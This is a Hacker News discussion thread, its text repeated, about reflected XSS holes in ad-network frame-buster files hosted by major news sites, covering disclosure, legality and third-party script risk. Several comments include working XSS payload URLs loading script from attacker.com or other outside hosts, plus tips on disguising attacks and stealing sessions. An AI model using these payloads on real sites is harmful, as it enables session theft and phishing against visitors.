8 ms·

CNN, NYTimes, Mashable all vulnerable to XSS

154 points by kemayo 15y ago

kemayo 15y ago
It's an example of a fairly typical XSS hole in the HTML an advertiser has provided. It just felt worth posting about because the sites involved are high profile. Shows that even the big players don't always watch their inputs.
- loopdoend 15y ago
  That is a massive hole. Very nice find. I hope you notified the ad network of this before you posted it though, responsible disclosure of these things is important because this hole can now be used by anyone to do pretty much anything. The most obvious thing that comes to mind is a spammer using this to redirect traffic through a third party domain which is whitelisted.
  - kemayo 15y ago
    They were a bit lacking in an obvious right person to email[1], but I did send a quick "hey there's a problem" note. I almost didn't when I saw that their main "contact us" page was a "opt in for us to email you" form, but then I found some actual email addresses rather further down. [1]: http://www.eyewonder.com/contact.php http://www.eyewonder.com/contact.php
    - GICodeWarrior 15y ago
      I just sent an email to sitesupport@, websites@ (both from whois), abuse@, noc@, webmaster@, security@ (from RFC2142). Generally you should attempt to receive a response before posting vulnerabilities though...
      - kemayo 15y ago
        Past experience dealing with ad networks about this issue has led me to believe that they really don't care. Multiple networks, multiple framebusting scripts they want you to host, all with blatant security holes that they don't want to fix after you (as a client) point them out. Or maybe it's that the people in the organization who might care are completely insulated from the channels available to people who are dealing with the network as a client. Hard to say.
- ChuckMcM 15y ago
  From the article "Also, don't trust your ad networks to know/care about security." This is one of those things that I wish something akin to Amazon's Silk browser would be useful. Replace the javascript with <img src=adnetwork/myid.png> and have the script run on their end which provides the pre-rendered advertisement. Yes I realize its not that simple, listening to Brandon Downey at Google explain all the ways one might mount an XSS attack was always both awe inspiring and depressing at the same time. We've seen a number of ad network issues, it seems like a common attack surface.
  - rmc 15y ago
    Ah but the advertisers want dynamic ads and tracking and stuff!
GICodeWarrior 15y ago
Wowza. http://www.google.com/#q=inurl:eyewonder/interim.html http://www.google.com/#q=inurl:eyewonder/interim.html
- mentat 15y ago
  Very nice. I always forget to get the Google scale of these sorts of issues.
fauldsh 15y ago
I swear there is a pun in here somewhere, eyewonder if any-one else felt this way? Seeing things like this affect such big sites always scares me, good find.
nbpoole 15y ago
Interesting: MySpace seems to have a "fixed" version of the code (but the date indicates that it isn't a recent fix): http://www.myspace.com/eyewonder/interim.html http://www.myspace.com/eyewonder/interim.html <script language="JavaScript"> // NEW CODE 09-14-05 var query = window.location.search; var adUrl = query.substring(5, query.length); var clickthru; var failclickthru; if (/^http:\/\/([-a-z0-9]+\.)*eyewonder\.com\//i.test(adUrl) && adUrl.indexOf('"') == -1) { document.write('<s'+'cript language="JavaScript" src="'); document.write(adUrl+'"></s'+'cript>'); } </script>
bbastian 15y ago
This makes me wonder; how is it appropriate to handle vulnerabilities such as these? A few months ago, I decided (as an experiment to see how common XSS actually is) to click on random HN links and type "<asdf '\"" into any search bars and look for weird rendering on the page or weird behaviour in the page source. After half an hour, I had five or so exploitable XSS vulnerabilities, two of the more prominent ones being CNN and Newegg. I sent emails to their security-related issue addresses, but they never responded or fixed the issue. After sending them a couple more emails, I just gave up. But this article makes me wonder, could I have handled the situation better? The thought of releasing a benign-but-scary exploit crossed my mind, b ut I'm uncertain...
- Joakal 15y ago
  1) Follow their contact us request (Likely an email to the general address) and make a task note in a month to review the correspondence (stateless). 2) If no reply in that timeframe, make a blog post and a recommendation to listen to security reports. Post to HN. Public shame upon them to do two things aforementioned. I'm happy with this for my projects. I take security reports very seriously and it's the only development priority over cat pictures. For monetary incentive: Major websites will give a reward for reporting to them.
- cowkingdeluxe 15y ago
  You're much more likely to get in trouble with the law yourself than gain any benefit out of the situation. IT departments will be quick to blame a "hacker" instead of themselves for the vulnerability.
- deleted 15y ago
  [deleted]
vinhboy 15y ago
http://www.foxnews.com/eyewonder/interim.html?src=https://raw.github.com/gist/1302603/bc73379a2307994dd3b6840112b76468af943ff7/mess.js http://www.foxnews.com/eyewonder/interim.html?src=https://ra... Mustttt resssisttttt.......
- antimatter15 15y ago
  You could even use HTML5 History pushState to get rid of that /eyewonder/interim part of the URl and it'll look totally authentic.
msmith 15y ago
It's interesting that someone went out of their way to obfuscate the interim.html script: document.write('<s'+'cript language="JavaScript" src="'); I guess they were intentionally trying to evade some tool that looks for '<script'?
- jeltz 15y ago
  My theory is just overzealous protection against having the </script> end tag break that JavaScript block early. Escaping the end tag is necessary. document.write(adUrl+'"></s'+'cript>');
- lftl 15y ago
  It's been awhile since I played with it, but I believe there's a legitimate reason for breaking the <script. Possibly one of the older browsers had a broken parser that would interpret that as the beginning of a new script tag?
- xentronium 15y ago
  I believe, it's some sort of IE hack.
- xentronium 15y ago
  http://stackoverflow.com/questions/236073/why-split-the-script-tag-when-writing-it-with-document-write http://stackoverflow.com/questions/236073/why-split-the-scri... Found a stack overflow question with explanation. Again, I believe, only IE couldn't handle word script in the literal string.
  - msmith 15y ago
    Ah, I see. Thanks for the pointer.
llimllib 15y ago
So, this guy is bragging about committing a felony, right? (I think it's a very neat hack and that he shouldn't have to be worried, but... am I right? Is this in fact a felony? Less?)
- vinhboy 15y ago
  I hope not. He hasn't done anything at all. Unless its used maliciously. Like, if he went into CNN comments and posted a link that forced users to repost his comment, steal passwords, etc... Otherwise this is almost like me telling you to post javascript:alert('you are ugly'); in your browser.
- jeltz 15y ago
  Hmm, what crime would that be? He has not sabotaged anything on the vulnerable websites, he has not used it to gain access to any data, and he has not used it to impersonate or trick anyone.
  - llimllib 15y ago
    I'm reading the laws now... It seems that "unauthorized access" itself, may be a crime which he has committed? Also, the laws vary by state and I'm having trouble figuring out what the federal laws are. Obviously, he didn't commit any fraud or steal any information, and I can't imagine anyone would want to prosecute him. edit: it looks like he's probably relatively in the clear on this? Most of the laws seem to require intent, fraud, or thievery. It's all very confusing. edit 2: downvotes? I'm sorry for worrying that our laws and legal system sucks?
    - kemayo 15y ago
      A lot would depend on how "access" is defined, I imagine. What I did was provide input to a publicly accessible script on their server. I didn't have to "break in" to anything to do so, or to find out about it. So it'd hinge on whether or not using someone's website in a way they didn't intend you to counts as being "unauthorized access". Standard case of "most persuasive lawyer wins".
qeorge 15y ago
If one opens Google News and visits sites at random, you'll find at least 1 in 5 has an XSS vulnerability in their search box. Its really incredible. Just type <plaintext> into the search box, and you'll be shocked how many sites break.
- dendory 15y ago
  Heh this is pretty funny actually. The third site I tried, randomly, ended up being vulnerable: http://www.dziennik.pl/szukaj?q=%3Cfont+size%3D%2B10%3E&c=1&b=1&o=1&search_term= http://www.dziennik.pl/szukaj?q=%3Cfont+size%3D%2B10%3E&...
cheald 15y ago
So, I'm cleaning this up on our servers, and there are a bunch of other ad networks that appear to be vulnerable. Adcentric and Adinterax appear to be vulnerable. addineyev2 appears to be vulnerable as well. Edit: Pointroll, eyeblaster also vulnerable. Unicast is vulnerable, but it'd be very hard to exploit. Whoever wrote these stub files should be flogged Old Testament style. This is just negligent. The good news is that the headline isn't accurate anymore. :)
- Semiapies 15y ago
  Still worked on CNN when I tried it just now.
genieyclo 15y ago
Plenty of big sites get posted pretty much daily to /r/xss, not to take away from the severity of the problem in having big holes like this in ad networks.
tptacek 15y ago
Generalizing this out just a little bit: please be aware that when you source Javascript from places like TypeKit or Crazyegg or whatnot, you're setting the security of your web app at the lowest common denominator of all those sites. It's not just a question of whether the script they're providing you today is safe; it's a question of whether their own applications are sound enough to prevent an attacker from popping them and changing what the script says. I think the modern vogue for sourcing Javascript from random API providers is a bad idea; I predict that the badness of that idea is going to become more and more evident over the next few years; I think you'd be well-served by investigating how much of that stuff you can serve directly.
- nitrogen 15y ago
  How far would you go in hosting locally? Would your recommendation also apply to Google Analytics or CDN-hosted jQuery, for example?
  - tptacek 15y ago
    It drives me up a wall when people use CDN jQuery. Just host jQuery.
    - niyazpk 15y ago
      Why?
      - tptacek 15y ago
        Because every page in the app is bound to carry the jQ dep, and you can just as easily provide your own static file hosting for jQ. It seems like a pointless complication to the security model of an app, to take its core Javascript framework library and host it offsite.
        theroo 15y ago
        You really think your home-rolled static file store will be more resistant to compromise than Google?
phatbyte 15y ago
Couldn't this be simple solved with X-Content-Security-Policy header in order to prevent non-authorized domains to run objects on the site ?
- tptacek 15y ago
  When most browsers support CSP, maybe. Most don't today.
aidenn0 15y ago
I've run into several XSS vulnerabilities that were easily detected just by NoScript. The most blatant was on a banking related site where the contents of a POST requests get put directly between the <head></head> tags. I considered reporting them, but have heard too many horror stories of legal action being brought about against reporters of such vulnerabilities that even if the chance is very low, it's a hassle I just don't want to deal with now.
drwxrwxrwt 15y ago
This is by no means a new exploit. I've know about it for about a year and sent warning emails to rather large players. The response, when I got one, was that its the industry standard. Publisher's developers see the scripts when network request to host them, and they often raise the issue. Yet the type of the ads that require those frame busters pay well, and unfortunately those concerns are swept away.
mbesto 15y ago
I'll just leave this here... http://www.reddit.com/r/xss http://www.reddit.com/r/xss
thezilch 15y ago
The article is currently down, but the skinny of the deal is many advertisers will have you host "frame buster" [html] documents, so that they can execute javascript outside of your ad iframes. Some are terribly bad at providing clean source and exploitable by XSS, allowing an attacker to execute arbitrary javascript on your site. The following are some in-the-wild documents that exhibit these behaviors, and you should remove, modify, or beware before further use. /videoegg/vedoc.html http://www.yoursite.com/videoegg/vedoc.html?tagid=foo&tagurl=http://www.attacker.com/malicious-js/ /adx-iframe-v2.html http://www.yoursite.com/adx-iframe-v2.html?ad=www.attacker.com/malicious-js/%22mi.adinterax.com/js/y&vm=r&P=Y&adx_D_180421=h /eyereturn.html http://www.yoursite.com/eyereturn.html?foo%22%3E%3C/script%3E%3Cscript%20src=http://www.attacker.com/malicious-js/%3E /ifr_b.html http://www.yoursite.com/ifr_b.html?c=foo%22%3E%3C/script%3E%3Cscript%20src%3Dhttp://www.attacker.com/malicious-js/%3E /interim.html http://www.yoursite.com/interim.html?src=http://www.attacker.com/malicious-js/ /eyewonder/interim.html http://www.yoursite.com/eyewonder/interim.html?src=http://www.attacker.com/malicious-js/ /oggiPlayerLoader.htm -- requires framing the advert <iframe src="http://www.yoursite.com/oggiPlayerLoader.htm?version=1&tHtml=%3Cscript src%3Dhttp://www.attacker.com/malicious-js/%3E%3C/script%3E" style="display: block !important; width: 100%; height: 100%;">
anons2011 15y ago
On the whole XSS is pretty much useless, as it's Non persistent HTML/JS or whatever.
- rmc 15y ago
  XSS allows you to read all the cookies of someone who follows your link, and let's you (sorta) interact with that webpage as that user.
  - anons2011 15y ago
    Yes but no sensitive data would ever be stored in a cookie. There would be other authentication, so it wouldn't just rely on having a stolen cookie.
    - WA 15y ago
      The session identifier IS sensitive enough. If you get this, you have access to the system with the victim's user profile. Do you really believe that developers implement additional session security if they fail to provide proper input validation? Most of the time - I don't think so. Furthermore, "other" authentication is almost always more or less broken. The only way "other" authentication could work is to check the user's IP address (which by itself adds only a bit of security - think of a public WiFi, e. g. Starbucks) or browser features (which is not a reliable security factor as this can easily be spoofed). So, authentication usually works by transmitting session identification cookies. httpOnly and secure flags come to mind when trying to secure session ids, but XSS can also be used to modify the DOM on the fly and to inject a nice little fake login form that lets you steal the sensitive information in plaintext (with a bit of user interaction though). What else can you do with XSS? Drive-by downloads exploiting browser plugins, exploitation frameworks such as BeEF, keyloggers etc. Edit: Non-persistent XSS is surely less dangerous than persistent XSS, but nevertheless, it is a threat and most of the time, an indicator for a generally flawed Web application that should not be downplayed.
    - rmc 15y ago
      The session id is stored in the cookie. if you can read that, then you can convince the website that you are that user, and hence do (just about everything (depending on how often the website asks for password)) that that user can do on that website.
js4all 15y ago
Those sites are fixed now. If you want to see the effect live, here is another one which still works: http://www.flightstats.com/go/eyewonder/interim.html?src=http://davidlynch.org/projects/xss/eyewonder.js http://www.flightstats.com/go/eyewonder/interim.html?src=htt...

154 points by kemayo 15y ago

It's an example of a fairly typical XSS hole in the HTML an advertiser has provided. It just felt worth posting about because the sites involved are high profile. Shows that even the big players don't always watch their inputs.

loopdoend 15y ago
That is a massive hole. Very nice find. I hope you notified the ad network of this before you posted it though, responsible disclosure of these things is important because this hole can now be used by anyone to do pretty much anything. The most obvious thing that comes to mind is a spammer using this to redirect traffic through a third party domain which is whitelisted.
- kemayo 15y ago
  They were a bit lacking in an obvious right person to email[1], but I did send a quick "hey there's a problem" note. I almost didn't when I saw that their main "contact us" page was a "opt in for us to email you" form, but then I found some actual email addresses rather further down. [1]: http://www.eyewonder.com/contact.php http://www.eyewonder.com/contact.php
  - GICodeWarrior 15y ago
    I just sent an email to sitesupport@, websites@ (both from whois), abuse@, noc@, webmaster@, security@ (from RFC2142). Generally you should attempt to receive a response before posting vulnerabilities though...
    - kemayo 15y ago
      Past experience dealing with ad networks about this issue has led me to believe that they really don't care. Multiple networks, multiple framebusting scripts they want you to host, all with blatant security holes that they don't want to fix after you (as a client) point them out. Or maybe it's that the people in the organization who might care are completely insulated from the channels available to people who are dealing with the network as a client. Hard to say.
ChuckMcM 15y ago
From the article "Also, don't trust your ad networks to know/care about security." This is one of those things that I wish something akin to Amazon's Silk browser would be useful. Replace the javascript with <img src=adnetwork/myid.png> and have the script run on their end which provides the pre-rendered advertisement. Yes I realize its not that simple, listening to Brandon Downey at Google explain all the ways one might mount an XSS attack was always both awe inspiring and depressing at the same time. We've seen a number of ad network issues, it seems like a common attack surface.
- rmc 15y ago
  Ah but the advertisers want dynamic ads and tracking and stuff!

GICodeWarrior 15y ago

Wowza. http://www.google.com/#q=inurl:eyewonder/interim.html http://www.google.com/#q=inurl:eyewonder/interim.html

mentat 15y ago
Very nice. I always forget to get the Google scale of these sorts of issues.

fauldsh 15y ago

I swear there is a pun in here somewhere, eyewonder if any-one else felt this way? Seeing things like this affect such big sites always scares me, good find.

nbpoole 15y ago

Interesting: MySpace seems to have a "fixed" version of the code (but the date indicates that it isn't a recent fix): http://www.myspace.com/eyewonder/interim.html http://www.myspace.com/eyewonder/interim.html <script language="JavaScript"> // NEW CODE 09-14-05 var query = window.location.search; var adUrl = query.substring(5, query.length); var clickthru; var failclickthru; if (/^http:\/\/([-a-z0-9]+\.)*eyewonder\.com\//i.test(adUrl) && adUrl.indexOf('"') == -1) { document.write('<s'+'cript language="JavaScript" src="'); document.write(adUrl+'"></s'+'cript>'); } </script>

bbastian 15y ago

This makes me wonder; how is it appropriate to handle vulnerabilities such as these? A few months ago, I decided (as an experiment to see how common XSS actually is) to click on random HN links and type "<asdf '\"" into any search bars and look for weird rendering on the page or weird behaviour in the page source. After half an hour, I had five or so exploitable XSS vulnerabilities, two of the more prominent ones being CNN and Newegg. I sent emails to their security-related issue addresses, but they never responded or fixed the issue. After sending them a couple more emails, I just gave up. But this article makes me wonder, could I have handled the situation better? The thought of releasing a benign-but-scary exploit crossed my mind, b ut I'm uncertain...

Joakal 15y ago
1) Follow their contact us request (Likely an email to the general address) and make a task note in a month to review the correspondence (stateless). 2) If no reply in that timeframe, make a blog post and a recommendation to listen to security reports. Post to HN. Public shame upon them to do two things aforementioned. I'm happy with this for my projects. I take security reports very seriously and it's the only development priority over cat pictures. For monetary incentive: Major websites will give a reward for reporting to them.
cowkingdeluxe 15y ago
You're much more likely to get in trouble with the law yourself than gain any benefit out of the situation. IT departments will be quick to blame a "hacker" instead of themselves for the vulnerability.
deleted 15y ago
[deleted]

vinhboy 15y ago

http://www.foxnews.com/eyewonder/interim.html?src=https://raw.github.com/gist/1302603/bc73379a2307994dd3b6840112b76468af943ff7/mess.js http://www.foxnews.com/eyewonder/interim.html?src=https://ra... Mustttt resssisttttt.......

antimatter15 15y ago
You could even use HTML5 History pushState to get rid of that /eyewonder/interim part of the URl and it'll look totally authentic.

msmith 15y ago

It's interesting that someone went out of their way to obfuscate the interim.html script: document.write('<s'+'cript language="JavaScript" src="'); I guess they were intentionally trying to evade some tool that looks for '<script'?

jeltz 15y ago
My theory is just overzealous protection against having the </script> end tag break that JavaScript block early. Escaping the end tag is necessary. document.write(adUrl+'"></s'+'cript>');
lftl 15y ago
It's been awhile since I played with it, but I believe there's a legitimate reason for breaking the <script. Possibly one of the older browsers had a broken parser that would interpret that as the beginning of a new script tag?
xentronium 15y ago
I believe, it's some sort of IE hack.
xentronium 15y ago
http://stackoverflow.com/questions/236073/why-split-the-script-tag-when-writing-it-with-document-write http://stackoverflow.com/questions/236073/why-split-the-scri... Found a stack overflow question with explanation. Again, I believe, only IE couldn't handle word script in the literal string.
- msmith 15y ago
  Ah, I see. Thanks for the pointer.

llimllib 15y ago

So, this guy is bragging about committing a felony, right? (I think it's a very neat hack and that he shouldn't have to be worried, but... am I right? Is this in fact a felony? Less?)

vinhboy 15y ago
I hope not. He hasn't done anything at all. Unless its used maliciously. Like, if he went into CNN comments and posted a link that forced users to repost his comment, steal passwords, etc... Otherwise this is almost like me telling you to post javascript:alert('you are ugly'); in your browser.
jeltz 15y ago
Hmm, what crime would that be? He has not sabotaged anything on the vulnerable websites, he has not used it to gain access to any data, and he has not used it to impersonate or trick anyone.
- llimllib 15y ago
  I'm reading the laws now... It seems that "unauthorized access" itself, may be a crime which he has committed? Also, the laws vary by state and I'm having trouble figuring out what the federal laws are. Obviously, he didn't commit any fraud or steal any information, and I can't imagine anyone would want to prosecute him. edit: it looks like he's probably relatively in the clear on this? Most of the laws seem to require intent, fraud, or thievery. It's all very confusing. edit 2: downvotes? I'm sorry for worrying that our laws and legal system sucks?
  - kemayo 15y ago
    A lot would depend on how "access" is defined, I imagine. What I did was provide input to a publicly accessible script on their server. I didn't have to "break in" to anything to do so, or to find out about it. So it'd hinge on whether or not using someone's website in a way they didn't intend you to counts as being "unauthorized access". Standard case of "most persuasive lawyer wins".

qeorge 15y ago

If one opens Google News and visits sites at random, you'll find at least 1 in 5 has an XSS vulnerability in their search box. Its really incredible. Just type <plaintext> into the search box, and you'll be shocked how many sites break.

dendory 15y ago
Heh this is pretty funny actually. The third site I tried, randomly, ended up being vulnerable: http://www.dziennik.pl/szukaj?q=%3Cfont+size%3D%2B10%3E&c=1&b=1&o=1&search_term= http://www.dziennik.pl/szukaj?q=%3Cfont+size%3D%2B10%3E&...

cheald 15y ago

So, I'm cleaning this up on our servers, and there are a bunch of other ad networks that appear to be vulnerable. Adcentric and Adinterax appear to be vulnerable. addineyev2 appears to be vulnerable as well. Edit: Pointroll, eyeblaster also vulnerable. Unicast is vulnerable, but it'd be very hard to exploit. Whoever wrote these stub files should be flogged Old Testament style. This is just negligent. The good news is that the headline isn't accurate anymore. :)

Semiapies 15y ago
Still worked on CNN when I tried it just now.

genieyclo 15y ago

Plenty of big sites get posted pretty much daily to /r/xss, not to take away from the severity of the problem in having big holes like this in ad networks.

tptacek 15y ago

Generalizing this out just a little bit: please be aware that when you source Javascript from places like TypeKit or Crazyegg or whatnot, you're setting the security of your web app at the lowest common denominator of all those sites. It's not just a question of whether the script they're providing you today is safe; it's a question of whether their own applications are sound enough to prevent an attacker from popping them and changing what the script says. I think the modern vogue for sourcing Javascript from random API providers is a bad idea; I predict that the badness of that idea is going to become more and more evident over the next few years; I think you'd be well-served by investigating how much of that stuff you can serve directly.

nitrogen 15y ago
How far would you go in hosting locally? Would your recommendation also apply to Google Analytics or CDN-hosted jQuery, for example?
- tptacek 15y ago
  It drives me up a wall when people use CDN jQuery. Just host jQuery.
  - niyazpk 15y ago
    Why?
    - tptacek 15y ago
      Because every page in the app is bound to carry the jQ dep, and you can just as easily provide your own static file hosting for jQ. It seems like a pointless complication to the security model of an app, to take its core Javascript framework library and host it offsite.
      - theroo 15y ago
        You really think your home-rolled static file store will be more resistant to compromise than Google?

phatbyte 15y ago

Couldn't this be simple solved with X-Content-Security-Policy header in order to prevent non-authorized domains to run objects on the site ?

tptacek 15y ago
When most browsers support CSP, maybe. Most don't today.

aidenn0 15y ago

I've run into several XSS vulnerabilities that were easily detected just by NoScript. The most blatant was on a banking related site where the contents of a POST requests get put directly between the <head></head> tags. I considered reporting them, but have heard too many horror stories of legal action being brought about against reporters of such vulnerabilities that even if the chance is very low, it's a hassle I just don't want to deal with now.

drwxrwxrwt 15y ago

This is by no means a new exploit. I've know about it for about a year and sent warning emails to rather large players. The response, when I got one, was that its the industry standard. Publisher's developers see the scripts when network request to host them, and they often raise the issue. Yet the type of the ads that require those frame busters pay well, and unfortunately those concerns are swept away.

mbesto 15y ago

I'll just leave this here... http://www.reddit.com/r/xss http://www.reddit.com/r/xss

thezilch 15y ago

The article is currently down, but the skinny of the deal is many advertisers will have you host "frame buster" [html] documents, so that they can execute javascript outside of your ad iframes. Some are terribly bad at providing clean source and exploitable by XSS, allowing an attacker to execute arbitrary javascript on your site. The following are some in-the-wild documents that exhibit these behaviors, and you should remove, modify, or beware before further use. /videoegg/vedoc.html http://www.yoursite.com/videoegg/vedoc.html?tagid=foo&tagurl=http://www.attacker.com/malicious-js/ /adx-iframe-v2.html http://www.yoursite.com/adx-iframe-v2.html?ad=www.attacker.com/malicious-js/%22mi.adinterax.com/js/y&vm=r&P=Y&adx_D_180421=h /eyereturn.html http://www.yoursite.com/eyereturn.html?foo%22%3E%3C/script%3E%3Cscript%20src=http://www.attacker.com/malicious-js/%3E /ifr_b.html http://www.yoursite.com/ifr_b.html?c=foo%22%3E%3C/script%3E%3Cscript%20src%3Dhttp://www.attacker.com/malicious-js/%3E /interim.html http://www.yoursite.com/interim.html?src=http://www.attacker.com/malicious-js/ /eyewonder/interim.html http://www.yoursite.com/eyewonder/interim.html?src=http://www.attacker.com/malicious-js/ /oggiPlayerLoader.htm -- requires framing the advert <iframe src="http://www.yoursite.com/oggiPlayerLoader.htm?version=1&tHtml=%3Cscript src%3Dhttp://www.attacker.com/malicious-js/%3E%3C/script%3E" style="display: block !important; width: 100%; height: 100%;">

anons2011 15y ago

On the whole XSS is pretty much useless, as it's Non persistent HTML/JS or whatever.

rmc 15y ago
XSS allows you to read all the cookies of someone who follows your link, and let's you (sorta) interact with that webpage as that user.
- anons2011 15y ago
  Yes but no sensitive data would ever be stored in a cookie. There would be other authentication, so it wouldn't just rely on having a stolen cookie.
  - WA 15y ago
    The session identifier IS sensitive enough. If you get this, you have access to the system with the victim's user profile. Do you really believe that developers implement additional session security if they fail to provide proper input validation? Most of the time - I don't think so. Furthermore, "other" authentication is almost always more or less broken. The only way "other" authentication could work is to check the user's IP address (which by itself adds only a bit of security - think of a public WiFi, e. g. Starbucks) or browser features (which is not a reliable security factor as this can easily be spoofed). So, authentication usually works by transmitting session identification cookies. httpOnly and secure flags come to mind when trying to secure session ids, but XSS can also be used to modify the DOM on the fly and to inject a nice little fake login form that lets you steal the sensitive information in plaintext (with a bit of user interaction though). What else can you do with XSS? Drive-by downloads exploiting browser plugins, exploitation frameworks such as BeEF, keyloggers etc. Edit: Non-persistent XSS is surely less dangerous than persistent XSS, but nevertheless, it is a threat and most of the time, an indicator for a generally flawed Web application that should not be downplayed.
  - rmc 15y ago
    The session id is stored in the cookie. if you can read that, then you can convince the website that you are that user, and hence do (just about everything (depending on how often the website asks for password)) that that user can do on that website.

js4all 15y ago

Those sites are fixed now. If you want to see the effect live, here is another one which still works: http://www.flightstats.com/go/eyewonder/interim.html?src=http://davidlynch.org/projects/xss/eyewonder.js http://www.flightstats.com/go/eyewonder/interim.html?src=htt...